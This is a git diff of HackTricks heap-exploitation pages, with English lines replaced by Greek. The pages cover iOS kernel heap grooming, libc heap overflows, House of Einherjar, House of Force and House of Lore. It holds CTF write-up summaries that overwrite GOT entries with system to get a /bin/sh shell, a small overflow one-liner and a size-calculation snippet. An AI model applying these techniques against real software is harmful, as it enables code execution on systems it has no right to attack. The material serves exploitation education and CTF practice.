Στα stack overflows η διάταξη και τα δεδομένα που θα είναι παρόντα στο stack τη στιγμή που μπορεί να ενεργοποιηθεί η ευπάθεια είναι αρκετά αξιόπιστα. Αυτό συμβαίνει επειδή το stack είναι γραμμικό, πάντα αυξανόμενο σε συγκρουόμενη μνήμη, σε **συγκεκριμένες θέσεις της εκτέλεσης του προγράμματος η μνήμη του stack συνήθως αποθηκεύει παρόμοια είδη δεδομένων** και έχει κάποια συγκεκριμένη δομή με μερικούς δείκτες στο τέλος του τμήματος του stack που χρησιμοποιείται από κάθε συνάρτηση.
|
||||
|
||||
However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
|
||||
Ωστόσο, στην περίπτωση ενός heap overflow, η χρησιμοποιούμενη μνήμη δεν είναι γραμμική αλλά **οι κατανεμημένοι χώροι είναι συνήθως σε ξεχωριστές θέσεις μνήμης** (όχι ο ένας δίπλα στον άλλο) λόγω των **bins και zones** που διαχωρίζουν τις κατανομές κατά μέγεθος και επειδή **η προηγούμενη ελεύθερη μνήμη χρησιμοποιείται** πριν από την κατανομή νέων chunks. Είναι **περίπλοκο να γνωρίζουμε το αντικείμενο που θα συγκρούεται με αυτό που είναι ευάλωτο** σε heap overflow. Έτσι, όταν βρεθεί ένα heap overflow, είναι απαραίτητο να βρεθεί ένας **αξιόπιστος τρόπος για να γίνει το επιθυμητό αντικείμενο να είναι το επόμενο στη μνήμη** από αυτό που μπορεί να υπερχειλιστεί.
|
||||
|
||||
One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
|
||||
Μία από τις τεχνικές που χρησιμοποιούνται για αυτό είναι το **Heap Grooming** που χρησιμοποιείται για παράδειγμα [**σε αυτή την ανάρτηση**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Στην ανάρτηση εξηγείται πώς όταν στο iOS kernel μια ζώνη εξαντλείται από μνήμη για να αποθηκεύσει chunks μνήμης, επεκτείνεται κατά μία σελίδα kernel, και αυτή η σελίδα χωρίζεται σε chunks των αναμενόμενων μεγεθών που θα χρησιμοποιηθούν με σειρά (μέχρι την έκδοση iOS 9.2, τότε αυτά τα chunks χρησιμοποιούνται με τυχαίο τρόπο για να δυσκολέψουν την εκμετάλλευση αυτών των επιθέσεων).
|
||||
|
||||
Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**.
|
||||
Επομένως, στην προηγούμενη ανάρτηση όπου συμβαίνει ένα heap overflow, προκειμένου να αναγκαστεί το υπερχειλισμένο αντικείμενο να συγκρούεται με μια παραγγελία θύματος, αρκετές **`kallocs` αναγκάζονται από αρκετά νήματα για να προσπαθήσουν να διασφαλίσουν ότι όλα τα ελεύθερα chunks είναι γεμάτα και ότι δημιουργείται μια νέα σελίδα**.
|
||||
|
||||
In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, it’s possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`.
|
||||
Για να αναγκαστεί αυτή η πλήρωση με αντικείμενα συγκεκριμένου μεγέθους, η **εκτός γραμμής κατανομή που σχετίζεται με ένα iOS mach port** είναι ένας ιδανικός υποψήφιος. Με την κατασκευή του μεγέθους του μηνύματος, είναι δυνατό να καθοριστεί ακριβώς το μέγεθος της κατανομής `kalloc` και όταν το αντίστοιχο mach port καταστραφεί, η αντίστοιχη κατανομή θα απελευθερωθεί αμέσως πίσω στο `kfree`.
|
||||
|
||||
Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, it’s probable that this object will be followed by a victim object.
|
||||
Στη συνέχεια, μερικοί από αυτούς τους χώρους μπορούν να **απελευθερωθούν**. Η **λίστα ελεύθερων `kalloc.4096` απελευθερώνει στοιχεία με σειρά τελευταίου εισερχόμενου πρώτου εξερχόμενου**, που σημαίνει βασικά ότι αν μερικοί χώροι απελευθερωθούν και η εκμετάλλευση προσπαθήσει να κατανεμήσει αρκετά αντικείμενα θύματα ενώ προσπαθεί να κατανεμήσει το αντικείμενο που είναι ευάλωτο σε υπερχείλιση, είναι πιθανό αυτό το αντικείμενο να ακολουθείται από ένα αντικείμενο θύμα.
|
||||
|
||||
### Example libc
|
||||
|
||||
[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.
|
||||
[**Σε αυτή τη σελίδα**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) είναι δυνατό να βρείτε μια βασική προσομοίωση heap overflow που δείχνει πώς η αντικατάσταση του prev in use bit του επόμενου chunk και η θέση του prev size είναι δυνατό να **συγκεντρώσουν ένα χρησιμοποιούμενο chunk** (κάνοντάς το να νομίζει ότι είναι αχρησιμοποίητο) και **στη συνέχεια να το κατανεμηθεί ξανά** έχοντας τη δυνατότητα να αντικαταστήσει δεδομένα που χρησιμοποιούνται σε διαφορετικό δείκτη επίσης.
|
||||
|
||||
Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.
|
||||
Ένα άλλο παράδειγμα από [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) δείχνει ένα πολύ βασικό παράδειγμα ενός CTF όπου ένα **heap overflow** μπορεί να εκμεταλλευτεί για να καλέσει τη συνάρτηση νικητή για να **λάβει τη σημαία**.
|
||||
|
||||
In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.
|
||||
Στο παράδειγμα [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) είναι δυνατό να δείτε πώς εκμεταλλευόμενοι μια υπερχείλιση buffer είναι δυνατό να **αντικατασταθεί σε ένα κοντινό chunk μια διεύθυνση** όπου **τυχαία δεδομένα από τον χρήστη** θα γραφούν.
|
||||
|
||||
### Example ARM64
|
||||
|
||||
In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
|
||||
|
||||
Στη σελίδα [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) μπορείτε να βρείτε ένα παράδειγμα heap overflow όπου μια εντολή που πρόκειται να εκτελεστεί αποθηκεύεται στο επόμενο chunk από το υπερχειλισμένο chunk. Έτσι, είναι δυνατό να τροποποιηθεί η εκτελούμενη εντολή αντικαθιστώντας την με μια εύκολη εκμετάλλευση όπως:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
|
||||
### Other examples
|
||||
### Άλλα παραδείγματα
|
||||
|
||||
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||
- We use an Integer Overflow vulnerability to get a Heap Overflow.
|
||||
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
|
||||
- Χρησιμοποιούμε μια ευπάθεια Integer Overflow για να αποκτήσουμε Heap Overflow.
|
||||
- Διαφθείρουμε δείκτες σε μια συνάρτηση μέσα σε ένα `struct` του υπερχειλισμένου κομματιού για να ορίσουμε μια συνάρτηση όπως το `system` και να αποκτήσουμε εκτέλεση κώδικα.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,44 +6,44 @@
|
||||
|
||||
### Code
|
||||
|
||||
- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
|
||||
- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache)
|
||||
- Δείτε το παράδειγμα από [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
|
||||
- Ή το από [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (μπορεί να χρειαστεί να συμπληρώσετε το tcache)
|
||||
|
||||
### Goal
|
||||
|
||||
- The goal is to allocate memory in almost any specific address.
|
||||
- Ο στόχος είναι να δεσμεύσετε μνήμη σε σχεδόν οποιαδήποτε συγκεκριμένη διεύθυνση.
|
||||
|
||||
### Requirements
|
||||
|
||||
- Create a fake chunk when we want to allocate a chunk:
|
||||
- Set pointers to point to itself to bypass sanity checks
|
||||
- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag.
|
||||
- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk
|
||||
- The fake chunk size must also have been set the same size to bypass sanity checks
|
||||
- For constructing these chunks, you will need a heap leak.
|
||||
- Δημιουργήστε ένα ψεύτικο chunk όταν θέλουμε να δεσμεύσουμε ένα chunk:
|
||||
- Ρυθμίστε δείκτες να δείχνουν στον εαυτό τους για να παρακάμψετε τους ελέγχους εγκυρότητας
|
||||
- Μία-byte overflow με ένα null byte από ένα chunk στο επόμενο για να τροποποιήσετε τη σημαία `PREV_INUSE`.
|
||||
- Υποδείξτε στο `prev_size` του chunk που έχει κακοποιηθεί με null τη διαφορά μεταξύ του εαυτού του και του ψεύτικου chunk
|
||||
- Το μέγεθος του ψεύτικου chunk πρέπει επίσης να έχει ρυθμιστεί στο ίδιο μέγεθος για να παρακάμψει τους ελέγχους εγκυρότητας
|
||||
- Για την κατασκευή αυτών των chunks, θα χρειαστείτε ένα heap leak.
|
||||
|
||||
### Attack
|
||||
|
||||
- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections
|
||||
- 2 other chunks (`B` and `C`) are allocated
|
||||
- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before
|
||||
- This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks.
|
||||
- Then, the tcache is filled
|
||||
- Then, `C` is freed so it consolidates with the fake chunk `A`
|
||||
- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk
|
||||
- The house of Einherjar finishes here
|
||||
- This can be continued with a fast bin attack or Tcache poisoning:
|
||||
- Free `B` to add it to the fast bin / Tcache
|
||||
- `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside) 
|
||||
- Then, 2 mallocs are done and the second one is going to be **allocating the target address**
|
||||
- Δημιουργείται ένα ψεύτικο chunk μέσα σε ένα chunk που ελέγχεται από τον επιτιθέμενο δείχνοντας με `fd` και `bk` στο αρχικό chunk για να παρακάμψει τις προστασίες
|
||||
- 2 άλλα chunks (`B` και `C`) δεσμεύονται
|
||||
- Κακοποιώντας το off by one στο `B`, το bit `prev in use` καθαρίζεται και τα δεδομένα `prev_size` αντικαθίστανται με τη διαφορά μεταξύ της θέσης όπου δεσμεύεται το chunk `C`, στο ψεύτικο chunk `A` που δημιουργήθηκε προηγουμένως
|
||||
- Αυτό το `prev_size` και το μέγεθος στο ψεύτικο chunk `A` πρέπει να είναι τα ίδια για να παρακάμψουν τους ελέγχους.
|
||||
- Στη συνέχεια, γεμίζεται το tcache
|
||||
- Στη συνέχεια, το `C` απελευθερώνεται ώστε να ενοποιηθεί με το ψεύτικο chunk `A`
|
||||
- Στη συνέχεια, δημιουργείται ένα νέο chunk `D` το οποίο θα ξεκινά στο ψεύτικο chunk `A` και θα καλύπτει το chunk `B`
|
||||
- Το house of Einherjar τελειώνει εδώ
|
||||
- Αυτό μπορεί να συνεχιστεί με μια γρήγορη επίθεση bin ή Tcache poisoning:
|
||||
- Απελευθερώστε το `B` για να το προσθέσετε στο γρήγορο bin / Tcache
|
||||
- Το `fd` του `B` αντικαθίσταται κάνοντάς το να δείχνει στη στοχευμένη διεύθυνση κακοποιώντας το chunk `D` (καθώς περιέχει το `B`) 
|
||||
- Στη συνέχεια, γίνονται 2 mallocs και το δεύτερο θα είναι **δεσμεύοντας τη στοχευμένη διεύθυνση**
|
||||
|
||||
## References and other examples
|
||||
|
||||
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
|
||||
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
|
||||
- After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets.
|
||||
- Μετά την απελευθέρωση των δεικτών τους δεν μηδενίζονται, οπότε είναι ακόμα δυνατή η πρόσβαση στα δεδομένα τους. Επομένως, ένα chunk τοποθετείται στο unsorted bin και διαρρέει τους δείκτες που περιέχει (libc leak) και στη συνέχεια μια νέα heap τοποθετείται στο unsorted bin και διαρρέει μια διεύθυνση heap από τον δείκτη που αποκτά.
|
||||
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
|
||||
- Null-byte overflow bug in `strtok`.
|
||||
- Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive.
|
||||
- Null-byte overflow bug στο `strtok`.
|
||||
- Χρησιμοποιήστε το House of Einherjar για να αποκτήσετε μια κατάσταση επικαλυπτόμενων chunks και να τελειώσετε με Tcache poisoning για να αποκτήσετε μια αυθαίρετη γραφή primitive.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,41 +6,39 @@
|
||||
|
||||
### Code
|
||||
|
||||
- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size`
|
||||
- You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want.
|
||||
- Αυτή η τεχνική έχει διορθωθεί ([**εδώ**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) και παράγει αυτό το σφάλμα: `malloc(): corrupted top size`
|
||||
- Μπορείτε να δοκιμάσετε τον [**κώδικα από εδώ**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) για να το δοκιμάσετε αν θέλετε.
|
||||
|
||||
### Goal
|
||||
|
||||
- The goal of this attack is to be able to allocate a chunk in a specific address.
|
||||
- Ο στόχος αυτής της επίθεσης είναι να μπορέσετε να εκχωρήσετε ένα κομμάτι σε μια συγκεκριμένη διεύθυνση.
|
||||
|
||||
### Requirements
|
||||
|
||||
- An overflow that allows to overwrite the size of the top chunk header (e.g. -1).
|
||||
- Be able to control the size of the heap allocation
|
||||
- Μια υπερχείλιση που επιτρέπει την επαναγραφή του μεγέθους του κεφαλίδας του κορυφαίου κομματιού (π.χ. -1).
|
||||
- Να μπορείτε να ελέγξετε το μέγεθος της εκχώρησης σωρού
|
||||
|
||||
### Attack
|
||||
|
||||
If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space.
|
||||
|
||||
Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
|
||||
Αν ένας επιτιθέμενος θέλει να εκχωρήσει ένα κομμάτι στη διεύθυνση P για να επαναγράψει μια τιμή εδώ. Ξεκινάει επαναγράφοντας το μέγεθος του κορυφαίου κομματιού με `-1` (ίσως με μια υπερχείλιση). Αυτό διασφαλίζει ότι το malloc δεν θα χρησιμοποιεί mmap για καμία εκχώρηση καθώς το κορυφαίο κομμάτι θα έχει πάντα αρκετό χώρο.
|
||||
|
||||
Στη συνέχεια, υπολογίστε την απόσταση μεταξύ της διεύθυνσης του κορυφαίου κομματιού και του στοχευμένου χώρου για εκχώρηση. Αυτό συμβαίνει επειδή μια malloc με αυτό το μέγεθος θα εκτελείται προκειμένου να μετακινήσει το κορυφαίο κομμάτι σε αυτή τη θέση. Έτσι υπολογίζεται εύκολα η διαφορά/μέγεθος:
|
||||
```c
|
||||
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
|
||||
/*
|
||||
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
|
||||
* new_top = old_top + nb
|
||||
* nb = new_top - old_top
|
||||
* req + 2sizeof(long) = new_top - old_top
|
||||
* req = new_top - old_top - 2sizeof(long)
|
||||
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
|
||||
* req = target - old_top - 4*sizeof(long)
|
||||
*/
|
||||
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
|
||||
* new_top = old_top + nb
|
||||
* nb = new_top - old_top
|
||||
* req + 2sizeof(long) = new_top - old_top
|
||||
* req = new_top - old_top - 2sizeof(long)
|
||||
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
|
||||
* req = target - old_top - 4*sizeof(long)
|
||||
*/
|
||||
```
|
||||
Επομένως, η κατανομή ενός μεγέθους `target - old_top - 4*sizeof(long)` (οι 4 longs είναι λόγω των μεταδεδομένων του κορυφαίου κομματιού και του νέου κομματιού όταν κατανεμηθεί) θα μετακινήσει το κορυφαίο κομμάτι στη διεύθυνση που θέλουμε να αντικαταστήσουμε.\
|
||||
Στη συνέχεια, κάντε άλλη μια malloc για να αποκτήσετε ένα κομμάτι στη διεύθυνση στόχο.
|
||||
|
||||
Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
|
||||
Then, do another malloc to get a chunk at the target address.
|
||||
|
||||
### References & Other Examples
|
||||
### Αναφορές & Άλλα Παραδείγματα
|
||||
|
||||
- [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
|
||||
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
|
||||
@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address.
|
||||
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
|
||||
- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
|
||||
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
|
||||
- The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function
|
||||
- The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff)
|
||||
- Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc`
|
||||
- Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function
|
||||
- Ο στόχος αυτού του σεναρίου είναι ένα ret2win όπου πρέπει να τροποποιήσουμε τη διεύθυνση μιας συνάρτησης που θα κληθεί από τη διεύθυνση της συνάρτησης ret2win
|
||||
- Το δυαδικό έχει μια υπερχείλιση που μπορεί να εκμεταλλευτεί για να τροποποιήσει το μέγεθος του κορυφαίου κομματιού, το οποίο τροποποιείται σε -1 ή p64(0xffffffffffffffff)
|
||||
- Στη συνέχεια, υπολογίζεται η διεύθυνση στο σημείο όπου υπάρχει ο δείκτης προς αντικατάσταση, και η διαφορά από τη τρέχουσα θέση του κορυφαίου κομματιού εκεί είναι κατανεμημένη με `malloc`
|
||||
- Τέλος, ένα νέο κομμάτι κατανεμήθηκε το οποίο θα περιέχει αυτόν τον επιθυμητό στόχο μέσα στον οποίο αντικαθίσταται από τη συνάρτηση ret2win
|
||||
- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||
- In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap
|
||||
- Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**.
|
||||
- Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh`
|
||||
- An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`.
|
||||
- Στο `Input your name:` υπάρχει μια αρχική ευπάθεια που επιτρέπει την αποκάλυψη μιας διεύθυνσης από τη heap
|
||||
- Στη συνέχεια, στη λειτουργία `Org:` και `Host:` είναι δυνατόν να συμπληρωθούν τα 64B του δείκτη `s` όταν ζητηθεί το **org name**, το οποίο στη στοίβα ακολουθείται από τη διεύθυνση του v2, η οποία ακολουθείται στη συνέχεια από το υποδεικνυόμενο **host name**. Καθώς τότε, η strcpy θα αντιγράφει τα περιεχόμενα του s σε ένα κομμάτι μεγέθους 64B, είναι δυνατόν να **αντικατασταθεί το μέγεθος του κορυφαίου κομματιού** με τα δεδομένα που τοποθετήθηκαν μέσα στο **host name**.
|
||||
- Τώρα που είναι δυνατή η αυθαίρετη εγγραφή, το GOT του `atoi` αντικαταστάθηκε με τη διεύθυνση του printf. ήταν δυνατό να αποκαλυφθεί η διεύθυνση του `IO_2_1_stderr` _με_ `%24$p`. Και με αυτήν την αποκάλυψη libc ήταν δυνατό να αντικατασταθεί ξανά το GOT του `atoi` με τη διεύθυνση του `system` και να κληθεί περνώντας ως παράμετρο `/bin/sh`
|
||||
- Μια εναλλακτική μέθοδος [προτάθηκε σε αυτήν την άλλη αναφορά](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), είναι να αντικατασταθεί το `free` με το `puts`, και στη συνέχεια να προστεθεί η διεύθυνση του `atoi@got`, στον δείκτη που θα απελευθερωθεί αργότερα ώστε να αποκαλυφθεί και με αυτήν την αποκάλυψη να αντικατασταθεί ξανά το `atoi@got` με το `system` και να κληθεί με `/bin/sh`.
|
||||
- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
|
||||
- There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
|
||||
- Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
|
||||
- Υπάρχει μια UAF που επιτρέπει την επαναχρησιμοποίηση ενός κομματιού που έχει απελευθερωθεί χωρίς να καθαριστεί ο δείκτης. Επειδή υπάρχουν ορισμένες μέθοδοι ανάγνωσης, είναι δυνατόν να αποκαλυφθεί μια διεύθυνση libc γράφοντας έναν δείκτη στη συνάρτηση free στο GOT εδώ και στη συνέχεια καλώντας τη συνάρτηση ανάγνωσης.
|
||||
- Στη συνέχεια, χρησιμοποιήθηκε το House of force (εκμεταλλευόμενο την UAF) για να αντικατασταθεί το μέγεθος του αριστερού χώρου με -1, να κατανεμηθεί ένα κομμάτι αρκετά μεγάλο για να φτάσει στο free hook, και στη συνέχεια να κατανεμηθεί ένα άλλο κομμάτι το οποίο θα περιέχει το free hook. Στη συνέχεια, γράψτε στο hook τη διεύθυνση του `system`, γράψτε σε ένα κομμάτι `"/bin/sh"` και τελικά απελευθερώστε το κομμάτι με το περιεχόμενο αυτής της συμβολοσειράς.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,37 +6,37 @@
|
||||
|
||||
### Code
|
||||
|
||||
- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
|
||||
- This isn't working
|
||||
- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
|
||||
- This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
|
||||
- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) 
|
||||
- Έλεγχος του από [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
|
||||
- Αυτό δεν λειτουργεί
|
||||
- Ή: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
|
||||
- Αυτό δεν λειτουργεί ακόμα και αν προσπαθεί να παρακάμψει κάποιους ελέγχους και εμφανίζει το σφάλμα: `malloc(): unaligned tcache chunk detected`
|
||||
- Αυτό το παράδειγμα λειτουργεί ακόμα: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) 
|
||||
|
||||
### Goal
|
||||
|
||||
- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\
|
||||
Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position.
|
||||
- Εισάγετε ένα **ψεύτικο μικρό κομμάτι στον μικρό κάδο ώστε να είναι δυνατή η κατανομή του**.\
|
||||
Σημειώστε ότι το μικρό κομμάτι που προστίθεται είναι το ψεύτικο που δημιουργεί ο επιτιθέμενος και όχι ένα ψεύτικο σε τυχαία θέση.
|
||||
|
||||
### Requirements
|
||||
|
||||
- Create 2 fake chunks and link them together and with the legit chunk in the small bin:
|
||||
- `fake0.bk` -> `fake1`
|
||||
- `fake1.fd` -> `fake0`
|
||||
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
|
||||
- `legit.bk` -> `fake0`
|
||||
- Δημιουργήστε 2 ψεύτικα κομμάτια και συνδέστε τα μεταξύ τους και με το νόμιμο κομμάτι στον μικρό κάδο:
|
||||
- `fake0.bk` -> `fake1`
|
||||
- `fake1.fd` -> `fake0`
|
||||
- `fake0.fd` -> `legit` (πρέπει να τροποποιήσετε έναν δείκτη στο ελεύθερο μικρό κομμάτι μέσω κάποιας άλλης ευπάθειας)
|
||||
- `legit.bk` -> `fake0`
|
||||
|
||||
Then you will be able to allocate `fake0`.
|
||||
Έτσι θα μπορείτε να κατανεμηθείτε `fake0`.
|
||||
|
||||
### Attack
|
||||
|
||||
- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.**
|
||||
- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks:
|
||||
- `fake0.bk` -> `fake1`
|
||||
